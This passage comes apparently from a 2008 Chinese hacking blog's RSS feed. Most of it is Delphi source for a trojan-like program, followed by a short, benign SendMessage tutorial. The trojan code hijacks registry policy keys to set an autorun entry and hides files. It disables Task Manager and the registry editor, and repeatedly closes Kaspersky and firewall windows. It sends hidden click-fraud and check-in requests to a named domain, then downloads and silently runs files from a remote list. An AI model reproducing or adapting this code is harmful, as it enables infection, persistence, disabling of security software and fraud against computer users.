&nbsp;iename:&nbsp;array&nbsp;[0..255]&nbsp;of&nbsp;char;<BR>&nbsp;&nbsp;iepath:string&nbsp;;&nbsp;&nbsp;&nbsp;&nbsp;//IE&nbsp;路径<BR>&nbsp;&nbsp;D_Xy:DWORD;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//点击的坐标<BR>&nbsp;&nbsp;Int_LL:integer;&nbsp;&nbsp;&nbsp;&nbsp;//流量定时器计数<BR><BR>&nbsp;&nbsp;Int_Cr:integer;<BR>&nbsp;&nbsp;ispost:BOOL;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//点击还是上线<BR>&nbsp;&nbsp;ClickUrl:STring;&nbsp;&nbsp;//当前点击网址<BR>implementation<BR><BR>{$R&nbsp;*.dfm}<BR><BR>//系统路径<BR>function&nbsp;syspath():string;<BR>var<BR>&nbsp;&nbsp;temp:&nbsp;array&nbsp;[0..255]&nbsp;of&nbsp;char;<BR>begin<BR>&nbsp;&nbsp;GetsystemDirectory(temp,250);<BR>&nbsp;&nbsp;result:=temp;<BR>end;<BR><BR>//按顶字符串排序分离<BR>function&nbsp;Split(Input:&nbsp;string;&nbsp;Deliminator:&nbsp;string;&nbsp;Index:&nbsp;integer):&nbsp;string;<BR>var<BR>&nbsp;&nbsp;StringLoop,&nbsp;StringCount:&nbsp;integer;<BR>&nbsp;&nbsp;Buffer:&nbsp;string;<BR>begin<BR>&nbsp;&nbsp;Buffer&nbsp;:=&nbsp;'';<BR>&nbsp;&nbsp;if&nbsp;Index&nbsp;&lt;&nbsp;1&nbsp;then&nbsp;Exit;<BR>&nbsp;&nbsp;StringCount&nbsp;:=&nbsp;0;<BR>&nbsp;&nbsp;StringLoop&nbsp;:=&nbsp;1;<BR>&nbsp;&nbsp;while&nbsp;(StringLoop&nbsp;&lt;=&nbsp;Length(Input))&nbsp;do<BR>&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(Copy(Input,&nbsp;StringLoop,&nbsp;Length(Deliminator))&nbsp;=&nbsp;Deliminator)&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Inc(StringLoop,&nbsp;Length(Deliminator)&nbsp;-&nbsp;1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Inc(StringCount);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;StringCount&nbsp;=&nbsp;Index&nbsp;then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Result&nbsp;:=&nbsp;Buffer;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Buffer&nbsp;:=&nbsp;'';<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end<BR>&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Buffer&nbsp;:=&nbsp;Buffer&nbsp;+&nbsp;Copy(Input,&nbsp;StringLoop,&nbsp;1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Inc(StringLoop,&nbsp;1);<BR>&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;Inc(StringCount);<BR>&nbsp;&nbsp;if&nbsp;StringCount&nbsp;&lt;&nbsp;Index&nbsp;then&nbsp;Buffer&nbsp;:=&nbsp;'';<BR>&nbsp;&nbsp;Result&nbsp;:=&nbsp;Buffer;<BR>end;<BR><BR>//HIV&nbsp;启动<BR>procedure&nbsp;GetBackPrivilege;<BR>Const<BR>&nbsp;&nbsp;ADJUST_PRIV&nbsp;&nbsp;=&nbsp;&nbsp;TOKEN_QUERY&nbsp;&nbsp;or&nbsp;&nbsp;TOKEN_ADJUST_PRIVILEGES;<BR>&nbsp;&nbsp;SHTDWN_PRIV&nbsp;&nbsp;='SeBackupPrivilege';<BR>&nbsp;&nbsp;PRIV_SIZE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&nbsp;sizeOf(TTokenPrivileges);<BR>var<BR>&nbsp;&nbsp;TokenPriv,&nbsp;&nbsp;Dummy:&nbsp;&nbsp;TTokenPrivileges;<BR>&nbsp;&nbsp;Token:&nbsp;&nbsp;THandle;<BR>&nbsp;&nbsp;Len:dWORD;<BR>begin<BR>&nbsp;&nbsp;OpenProcessToken(GetCurrentProcess(),&nbsp;&nbsp;ADJUST_PRIV,&nbsp;&nbsp;Token);<BR>&nbsp;&nbsp;LookupPrivilegeValue(nil,&nbsp;&nbsp;SHTDWN_PRIV,TokenPriv.Privileges[0].Luid);<BR>&nbsp;&nbsp;TokenPriv.Privileges[0].Attributes&nbsp;&nbsp;:=&nbsp;&nbsp;SE_PRIVILEGE_ENABLED;<BR>&nbsp;&nbsp;TokenPriv.PrivilegeCount&nbsp;&nbsp;:=&nbsp;&nbsp;1;<BR>&nbsp;&nbsp;AdjustTokenPrivileges(Token,&nbsp;&nbsp;false,&nbsp;&nbsp;TokenPriv,&nbsp;&nbsp;PRIV_SIZE,Dummy,&nbsp;&nbsp;Len);<BR>end;<BR><BR>procedure&nbsp;GetRestorePrivilege;<BR>var<BR>&nbsp;&nbsp;TPPrev,TP:&nbsp;TTokenPrivileges;<BR>&nbsp;&nbsp;TokenHandle:&nbsp;THandle;<BR>&nbsp;&nbsp;dwRetLen:&nbsp;DWORD;<BR>&nbsp;&nbsp;lpLuid:&nbsp;TLargeInteger;<BR>begin<BR>&nbsp;&nbsp;OpenProcessToken(GetCurrentProcess,TOKEN_ALL_ACCESS,TokenHandle);<BR>&nbsp;&nbsp;if(LookupPrivilegeValue(Nil,'SeRestorePrivilege',lpLuid))then<BR>&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;TP.PrivilegeCount:=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;<BR>&nbsp;&nbsp;&nbsp;&nbsp;TP.Privileges[0].Luid:=lpLuid;<BR>&nbsp;&nbsp;&nbsp;&nbsp;AdjustTokenPrivileges(TokenHandle,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);<BR>&nbsp;&nbsp;end;&nbsp;<BR>&nbsp;&nbsp;CloseHandle(TokenHandle);<BR>end;&nbsp;<BR><BR>function&nbsp;addreg(key:Hkey;&nbsp;subkey,name,value:string):boolean;<BR>var<BR>regkey:hkey;&nbsp;<BR>begin<BR>&nbsp;&nbsp;result&nbsp;:=&nbsp;false;&nbsp;<BR>&nbsp;&nbsp;RegCreateKey(key,PChar(subkey),regkey);<BR>&nbsp;&nbsp;if&nbsp;RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value))&nbsp;=&nbsp;0&nbsp;then&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;result&nbsp;:=&nbsp;true;<BR>&nbsp;&nbsp;RegCloseKey(regkey);&nbsp;<BR>end;<BR><BR>function&nbsp;SaveKey2(key:integer;subkey,filename:string):Boolean;<BR>var&nbsp;<BR>&nbsp;&nbsp;SKey:&nbsp;HKEY;<BR>begin<BR>&nbsp;&nbsp;Result&nbsp;:=&nbsp;false;<BR>&nbsp;&nbsp;if&nbsp;key&nbsp;=&nbsp;1&nbsp;then&nbsp;begin<BR>&nbsp;&nbsp;RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),SKey);<BR>&nbsp;&nbsp;end&nbsp;<BR>&nbsp;&nbsp;else<BR>&nbsp;&nbsp;begin&nbsp;<BR>&nbsp;&nbsp;RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),SKey);<BR>&nbsp;&nbsp;end;&nbsp;<BR>&nbsp;&nbsp;if&nbsp;SKey&nbsp;&lt;&gt;&nbsp;0&nbsp;then<BR>&nbsp;&nbsp;try&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;Result&nbsp;:=&nbsp;(RegSaveKey(SKey,&nbsp;PChar(FileName),&nbsp;nil)&nbsp;=&nbsp;ERROR_SUCCESS);<BR>&nbsp;&nbsp;finally&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(SKey);<BR>&nbsp;&nbsp;end;&nbsp;<BR>end;<BR><BR>procedure&nbsp;regstore2(key:integer;subkey,hfile:string);<BR>var&nbsp;<BR>&nbsp;&nbsp;key2:&nbsp;hkey;<BR>begin<BR>&nbsp;&nbsp;if&nbsp;key=1&nbsp;then<BR>&nbsp;&nbsp;begin&nbsp;<BR>&nbsp;&nbsp;RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),key2)<BR>&nbsp;&nbsp;end&nbsp;<BR>&nbsp;&nbsp;else&nbsp;begin<BR>&nbsp;&nbsp;RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),key2);<BR>&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;if&nbsp;key2&lt;&gt;0&nbsp;then&nbsp;RegRestoreKey(key2,PChar(hfile),8);<BR>&nbsp;&nbsp;RegCloseKey(key2);<BR>end;<BR><BR>procedure&nbsp;DoAll(exefile:string);<BR>var<BR>&nbsp;&nbsp;key:HKEY;<BR>&nbsp;&nbsp;I:Integer;<BR>begin<BR>&nbsp;&nbsp;SaveKey2(2,PChar('Software\Microsoft\Windows\CurrentVersion\policies'),'c:\1.hiv');<BR>&nbsp;&nbsp;RegCreateKey(HKEY_CURRENT_USER,PChar('Software\AnHao'),key);<BR>&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;1&nbsp;to&nbsp;10&nbsp;do&nbsp;&nbsp;regstore2(1,'Software\AnHao','c:\1.hiv');<BR>&nbsp;&nbsp;addreg(HKEY_CURRENT_USER,'Software\AnHao\explorer\run','Hackceo',exefile);<BR>&nbsp;&nbsp;SaveKey2(1,PChar('Software\AnHao'),'c:\2.hiv');<BR>&nbsp;&nbsp;for&nbsp;i&nbsp;:=&nbsp;1&nbsp;to&nbsp;10&nbsp;do&nbsp;&nbsp;regstore2(2,PChar('Software\Microsoft\Windows\CurrentVersion\policies'),'c:\2.hiv');<BR>&nbsp;&nbsp;RegDeleteKey(HKEY_CURRENT_USER,'Software\AnHao');<BR>&nbsp;&nbsp;RegCloseKey(key);<BR>&nbsp;&nbsp;DeleteFile('c:\1.hiv');<BR>&nbsp;&nbsp;DeleteFile('c:\2.hiv');<BR>end;<BR><BR>//删除CCOOKIE<BR>function&nbsp;GetCookiesFolder:string;<BR>var<BR>&nbsp;&nbsp;&nbsp;&nbsp;pidl:pItemIDList;<BR>&nbsp;&nbsp;&nbsp;&nbsp;buffer:array&nbsp;[&nbsp;0..255&nbsp;]&nbsp;of&nbsp;char&nbsp;;<BR>begin<BR>&nbsp;&nbsp;&nbsp;SHGetSpecialFolderLocation(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;,&nbsp;CSIDL_COOKIES,&nbsp;pidl);<BR><BR>&nbsp;&nbsp;&nbsp;SHGetPathFromIDList(pidl,&nbsp;buffer);<BR>&nbsp;&nbsp;&nbsp;result:=strpas(buffer);<BR>end;<BR><BR>function&nbsp;ShellDeleteFile(sFileName:&nbsp;string):&nbsp;Boolean;<BR>var<BR>&nbsp;&nbsp;FOS:&nbsp;TSHFileOpStruct;<BR>begin<BR>&nbsp;&nbsp;&nbsp;FillChar(FOS,&nbsp;SizeOf(FOS),&nbsp;0);&nbsp;{记录清零}<BR>&nbsp;&nbsp;&nbsp;with&nbsp;FOS&nbsp;do<BR>&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wnd:=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wFunc&nbsp;:=&nbsp;FO_DELETE;//删除<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pFrom&nbsp;:=&nbsp;PChar(sFileName);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fFlags&nbsp;:=&nbsp;FOF_NOCONFIRMATION&nbsp;or&nbsp;FOF_SILENT;<BR>&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;Result&nbsp;:=&nbsp;(SHFileOperation(FOS)&nbsp;=&nbsp;0);<BR>end;<BR>procedure&nbsp;DelCookie;<BR>var<BR>&nbsp;&nbsp;&nbsp;dir:string;<BR>begin<BR>&nbsp;&nbsp;&nbsp;InternetSetOption(nil,&nbsp;INTERNET_OPTION_END_BROWSER_SESSION,&nbsp;nil,&nbsp;0);<BR>&nbsp;&nbsp;&nbsp;dir:=GetCookiesFolder;<BR>&nbsp;&nbsp;&nbsp;ShellDeleteFile(dir+'\*.txt');<BR>end;<BR><BR>//&nbsp;注册表锁住<BR>procedure&nbsp;Disablesome();<BR>var<BR>&nbsp;&nbsp;SHK:HKEY;<BR>&nbsp;&nbsp;KeyValue:DWORD;<BR>begin<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;//隐藏文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;KeyValue:=2;<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced',0,KEY_ALL_ACCESS,SHK);<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegSetValueEx(SHK,'Hidden',0,REG_DWORD,@KeyValue,sizeOf(DWORD));<BR>&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(SHK);<BR>&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;//文件夹选项锁定<BR>&nbsp;&nbsp;&nbsp;&nbsp;KeyValue:=0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL',0,KEY_ALL_ACCESS,SHK);<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegSetValueEx(SHK,'CheckedValue',0,REG_DWORD,@KeyValue,sizeOf(DWORD));<BR>&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(SHK);<BR>&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;//禁止任务管理器<BR>&nbsp;&nbsp;&nbsp;&nbsp;KeyValue:=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Policies\System',0,KEY_ALL_ACCESS,SHK);<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegSetValueEx(SHK,'DisableTaskMgr',0,REG_DWORD,@KeyValue,sizeOf(DWORD));<BR>&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(SHK);<BR>&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;//禁止注册表<BR>&nbsp;&nbsp;&nbsp;&nbsp;KeyValue:=1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegOpenKeyEx(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Policies\System',0,KEY_ALL_ACCESS,SHK);<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegSetValueEx(SHK,'DisableRegistryTools',0,REG_DWORD,@KeyValue,sizeOf(DWORD));<BR>&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(SHK);<BR>&nbsp;&nbsp;end;<BR>end;<BR>function&nbsp;rbl(Hwnd:&nbsp;THandle;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Param:&nbsp;Pointer):&nbsp;Boolean;&nbsp;stdcall;<BR>var<BR>&nbsp;&nbsp;bt:&nbsp;array[0..210]&nbsp;of&nbsp;char&nbsp;;<BR>begin<BR>&nbsp;&nbsp;getwindowtext(Hwnd,bt,200);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;((pos('防火墙',bt)&lt;&gt;0)or&nbsp;(pos('主线程',bt)&lt;&gt;0))then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;postmessage(hwnd,$0010,0,0)&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;postmessage(hwnd,$0002,0,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;postmessage(hwnd,$0012,0,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;Result&nbsp;:=true&nbsp;&nbsp;;<BR>end;<BR><BR>//&nbsp;杀咔吧&nbsp;线程&nbsp;..<BR>procedure&nbsp;kis&nbsp;();<BR>var<BR>&nbsp;&nbsp;HKill:THANDLE;<BR>&nbsp;&nbsp;KCaption:&nbsp;array[0..200]&nbsp;of&nbsp;char&nbsp;;<BR>begin<BR>&nbsp;&nbsp;while&nbsp;(true)&nbsp;do<BR>&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;HKill:=GetForegroundWindow()&nbsp;&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;GetClassName(HKill,KCaption,200);<BR>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(pos('AVP',KCaption)&lt;&gt;0)&nbsp;then&nbsp;&nbsp;&nbsp;&nbsp;//or(pos('AVP',KCaption)&lt;&gt;0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;postmessage(HKill,WM_CLOSE,0,0)&nbsp;;<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;EnumWindows(@rbl,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;sleep(20);<BR>&nbsp;&nbsp;end;<BR>end;<BR>//创建杀卡巴线程<BR>procedure&nbsp;killkis();<BR>var<BR>&nbsp;&nbsp;kishand:THANDLE;<BR>&nbsp;&nbsp;kispid:DWORD;<BR>begin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//设置时间<BR>&nbsp;&nbsp;kishand:=CreateThread(nil,&nbsp;0,&nbsp;@kis,&nbsp;nil,&nbsp;0,kispid);<BR>&nbsp;&nbsp;CloseHandle(kishand);<BR>end;<BR><BR>procedure&nbsp;Sendip();<BR>var<BR>&nbsp;&nbsp;si:&nbsp;TSTARTUPINFO;<BR>&nbsp;&nbsp;pi:&nbsp;TProcessInformation;<BR>&nbsp;&nbsp;Wed:string;<BR>begin<BR>&nbsp;&nbsp;with&nbsp;si&nbsp;do<BR>&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;cb&nbsp;:=&nbsp;SizeOf(si);<BR>&nbsp;&nbsp;&nbsp;&nbsp;lpReserved&nbsp;:=&nbsp;nil;<BR>&nbsp;&nbsp;&nbsp;&nbsp;lpDesktop&nbsp;:=&nbsp;nil;<BR>&nbsp;&nbsp;&nbsp;&nbsp;lpTitle&nbsp;:=&nbsp;nil;<BR>&nbsp;&nbsp;&nbsp;&nbsp;dwFlags&nbsp;:=&nbsp;STARTF_USESHOWWINDOW;<BR>&nbsp;&nbsp;&nbsp;&nbsp;wShowWindow&nbsp;:=&nbsp;SW_HIDE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;cbReserved2&nbsp;:=&nbsp;0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;lpReserved2&nbsp;:=&nbsp;nil;<BR>&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;if&nbsp;ispost&nbsp;then<BR>&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;//点击<BR>&nbsp;&nbsp;&nbsp;&nbsp;Wed:='Open&nbsp;<A href="http://www.damocs.cn/360/click.asp?Url='http://www.hblog.net/+ClickUrl;" target=_blank>http://www.damocs.cn/360/click.asp?Url='+ClickUrl;</A><BR>&nbsp;&nbsp;end&nbsp;else&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;Wed:='Open&nbsp;<A href="http://www.damocs.cn/360/click.asp?Url=OnLine';&nbsp;//" target=_blank>http://www.damocs.cn/360/click.asp?Url=OnLine';&nbsp;//</A>上线<BR>&nbsp;&nbsp;end;<BR><BR>&nbsp;&nbsp;CreateProcess(pchar(iepath),pchar(WED),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nil,&nbsp;nil,&nbsp;False,&nbsp;CREATE_DEFAULT_ERROR_MODE,&nbsp;nil,&nbsp;nil,&nbsp;si,&nbsp;pi);<BR>&nbsp;&nbsp;WaitForSingleObject(pi.hProcess,&nbsp;20000);<BR>&nbsp;&nbsp;TerminateProcess(pi.hProcess,0);<BR>end;<BR><BR>//-----------------------------------------------------------------------------<BR><BR>//&nbsp;更新&nbsp;.<BR>procedure&nbsp;Updata&nbsp;()&nbsp;;<BR>var<BR>&nbsp;&nbsp;txtDl:textfile;<BR>&nbsp;&nbsp;STR_URL,Str_path:string;<BR>begin<BR>&nbsp;&nbsp;URLDownloadToFile(nil,UpUrl,DownSaveDL,0,nil);<BR>&nbsp;&nbsp;if&nbsp;FileExists(DownSaveDL)&nbsp;then<BR>&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;assignfile(txtDL,DownSaveDL);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;reset(TxtDL);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;While&nbsp;not&nbsp;Eof(TxtDL)&nbsp;do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Readln(TxtDL,Str_Url);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Readln(TxtDL,Str_Path);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(S_OK=URLDownloadToFile(nil,Pchar(Str_Url),Pchar(Str_Path),0,nil))then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShellExecute(0,'open',pchar(Str_Path),nil,nil,SW_HIDE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;finally<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseFile(TxtDL);<BR>&nbsp;&nbsp;&nbsp;&nbsp;end;<BR>&nbsp;&nbsp;end;<BR>end;<BR><BR>]]></description>
<author>hhack</author>
<pubDate>2008-6-24 23:25:00</pubDate>
</item>
<item>
<title><![CDATA[Delphi 获取句柄 sendmessage]]></title>
<link>http://hacker.hblog.net/archives/2008/2008624232236.shtml</link>
<description><![CDATA[查找另外一个窗口的句柄：&nbsp;handle&nbsp;:=&nbsp;FindWindow(nil,PChar('窗口的标题'));//查到窗体句柄<BR>查找子窗体：childHandle&nbsp;:=&nbsp;FindWindowEx(handle,0,'子窗体类','子窗体标题');&nbsp;<BR>另外有个枚举子窗体的API，EnumChildWindows(主创体句柄,@回调函数,用户参数);<BR>用这个函数需要自己写一个回调的函数，比如：<BR>function&nbsp;EnumChildProc(ahWND:HWND;&nbsp;param:LPARAM):boolean;&nbsp;stdcall;<BR>sendmessage(handle,message,wl,rl)<BR><BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;unit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Unit1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;interface&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;uses&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Windows,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Messages,Tlhelp32,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SysUtils,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Classes,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Graphics,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Controls,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Forms,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dialogs,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;StdCtrls;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;type<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TForm1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;class(TForm)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;FormCreate(Sender:&nbsp;TObject);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Private&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;declarations&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;declarations&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Form1:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TForm1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;implementation<BR>&nbsp;&nbsp;&nbsp;&nbsp;{$R&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*.DFM}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;procedure&nbsp;TForm1.FormCreate(Sender:&nbsp;TObject);<BR>var&nbsp;a,b:PAnsiChar;<BR>h:HWND;<BR>begin<BR>h:=&nbsp;FindWindow(nil,'abc.txt&nbsp;-&nbsp;记事本');<BR>h:=&nbsp;FindWindowEx(h,0,'edit',nil);<BR>SendMessage(h,WM_SETTEXT,255,Integer(PChar('我来测度了')));<BR>ShowMessage(&nbsp;IntToStr(h));<BR>end;<BR><BR>SendMessage(TreeView.Handle,TVM_SETBKCOLOR,0,RGB(255,0,0));　设置TV背景颜色<BR>SendMessage(Button.Handle,WM_LBUTTONDOWN,0,0);　　鼠标左键按下<BR>SendMessage(Button.Handle,WM_LBUTTONUP,0,0);　　　鼠标左键抬起<BR>SendMessage(Edit.Handle,WM_SETTEXT,255,Integer(PChar('abc')));　传递文本<BR>SendMessage(Edit.Handle,WM_Char,Wparam('Q'),2);　　传递字符<BR>SendMessage(Button.Handle,BM_SETSTYLE,BS_RADIOBUTTON,1);　　改变Button风格<BR>SendMessage(ComboBox.Handle,CB_SETDROPPEDWIDTH,300,0);　　